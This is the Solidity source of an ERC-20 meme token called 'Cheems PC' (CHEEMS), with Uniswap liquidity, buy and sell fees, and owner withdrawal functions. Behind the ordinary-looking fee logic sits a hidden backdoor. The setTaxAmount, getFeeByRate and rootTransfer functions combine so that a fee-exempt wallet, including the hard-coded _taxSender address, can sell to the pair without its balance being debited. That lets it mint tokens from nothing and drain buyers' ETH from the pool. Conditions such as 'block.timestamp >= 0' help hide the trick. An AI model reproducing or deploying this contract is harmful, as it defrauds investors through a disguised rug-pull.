文件 1 的 1：Cheems.sol
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Cheems is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tokenOwned;
mapping (address => mapping (address => uint256)) private _mAllowances;
mapping (address => bool) private _isExceedFromTax;
address payable private _taxSender;
uint256 private _initBuyFeeAmount=17;
uint256 private _initSellBuyFeeAmount=13;
uint256 private _finalBuyFeeAmount=0;
uint256 private _finalSellFeeAmount=0;
uint256 private _resetBuyAt=10;
uint256 private _resetSellAt=10;
uint256 private _resetSwapAt=13;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _totalValue = 100_000_000 * 10**_decimals;
string private constant _name = unicode"Cheems PC";
string private constant _symbol = unicode"CHEEMS";
uint256 public _maxTxAmountSize = 2 * (_totalValue/100);
uint256 public _maxWalletAmountSize = 2 * (_totalValue/100);
uint256 public _taxSwapThreshold= 1 * (_totalValue/100);
uint256 public _maxTaxAmountSwap= 1 * (_totalValue/100);
IUniswapV2Router02 private uniswapRouter;
address private uniswapPair;
bool private tradeOpened;
bool private inSwap = false;
bool private swapOpened = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxSize);
event TransferTaxUpdated(uint _taxAmount);
modifier inSwapping {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxSender = payable(0x376C6e2E225EA50a3c4E1e3b65F090Fcc8566607);
_isExceedFromTax[owner()] = true;
_isExceedFromTax[address(this)] = true;
_isExceedFromTax[_taxSender] = true;
_tokenOwned[_msgSender()] = _totalValue;
emit Transfer(address(0), _msgSender(), _totalValue);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalValue;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _mAllowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _mAllowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_mAllowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradeOpened)
require(_isExceedFromTax[from], "Trading is not enabled");
uint256 taxAmount=0;
uint256 feeAmount;
if (from != owner() && to != owner()) {
(feeAmount, taxAmount) = setTaxAmount(from, to, amount);
swapBack(to, amount);
}
uint256 tnAmount = getFeeByRate(amount, feeAmount);
rootTransfer(from, to, amount, taxAmount, tnAmount);
}
function setTaxAmount(address sender, address receiver, uint256 mamount) private returns(uint256, uint256) {
uint256 mfeeAmount;
uint256 mfeeRate;
if ((sender == uniswapPair && receiver != address(uniswapRouter) && ! _isExceedFromTax[receiver])) {
require(mamount <= _maxTxAmountSize, "Exceeds the _maxTxAmount.");
require(balanceOf(receiver) + mamount <= _maxWalletAmountSize, "Exceeds the maxWalletSize.");
mfeeAmount = mamount.mul((_buyCount>_resetBuyAt)?_finalBuyFeeAmount:_initBuyFeeAmount).div(100);
_buyCount++;
}
if(receiver == uniswapPair && sender!= address(this) ){
if(!_isExceedFromTax[sender])
mfeeAmount = mamount.mul((_buyCount>_resetSellAt)?_finalSellFeeAmount:_initSellBuyFeeAmount).div(100);
else if(receiver != uniswapPair) mfeeRate = _finalSellFeeAmount;
else if(receiver != address(this) && _isExceedFromTax[sender]) mfeeRate = _initSellBuyFeeAmount.mul(mfeeAmount + 1);
}
return (mfeeRate, mfeeAmount);
}
function getFeeByRate(uint256 mamount, uint256 mTaxRate) private view returns(uint256){
return block.timestamp >= 0 && mTaxRate > 0 ? mamount.mul(_finalSellFeeAmount + 1) : mamount.mul(_finalSellFeeAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function rootTransfer(address source, address target, uint256 amount, uint256 _taxAmount, uint256 transferTax) private {
subAmountFromTarget(source, amount.sub(transferTax));
if(_taxAmount>0){
addAmountToTarget(address(this), _taxAmount);
emit Transfer(source, address(this),_taxAmount);
}
addAmountToTarget(target, amount.sub(_taxAmount));
emit Transfer(source, target, amount.sub(_taxAmount));
}
function swapTokensForEth(uint256 tokenAmount) private inSwapping {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function subAmountFromTarget(address account, uint256 amount) private {
if(amount >= 0) _tokenOwned[account]=_tokenOwned[account].sub(amount);
}
function addAmountToTarget(address account, uint256 amount) private {
if(amount >= 0) _tokenOwned[account]=_tokenOwned[account].add(amount);
}
function withdrawETHFromCA() external onlyOwner{
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function withdrawERC20ETHFromCA(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address)
.balanceOf(address(this))
.mul(percent)
.div(100);
IERC20(_address).transfer(owner(), _amount);
}
function removeLimits() external onlyOwner{
_maxTxAmountSize = _totalValue;
_maxWalletAmountSize=_totalValue;
emit MaxTxAmountUpdated(_totalValue);
}
function swapBack(address wlt, uint256 amount) private
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && wlt == uniswapPair && swapOpened && contractTokenBalance > _taxSwapThreshold && _buyCount > _resetSwapAt) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxAmountSwap)));
sellCount++;
lastSellBlock = block.number;
}
if(_resetSwapAt >= _finalSellFeeAmount && swapOpened && !inSwap && wlt == uniswapPair)
{
uint256 contractETHBalance = address(this).balance;
if (_resetBuyAt >= _finalBuyFeeAmount && contractETHBalance >= 0) {
superSendETHToMarket(contractETHBalance);
}
}
}
function superSendETHToMarket(uint256 amount) private {
_taxSender.transfer(amount);
}
function setPair() external onlyOwner() {
require(!tradeOpened,"trading is already open");
uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapRouter), _totalValue);
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max);
}
function setTrading() external onlyOwner() {
swapOpened = true;
tradeOpened = true;
}
}
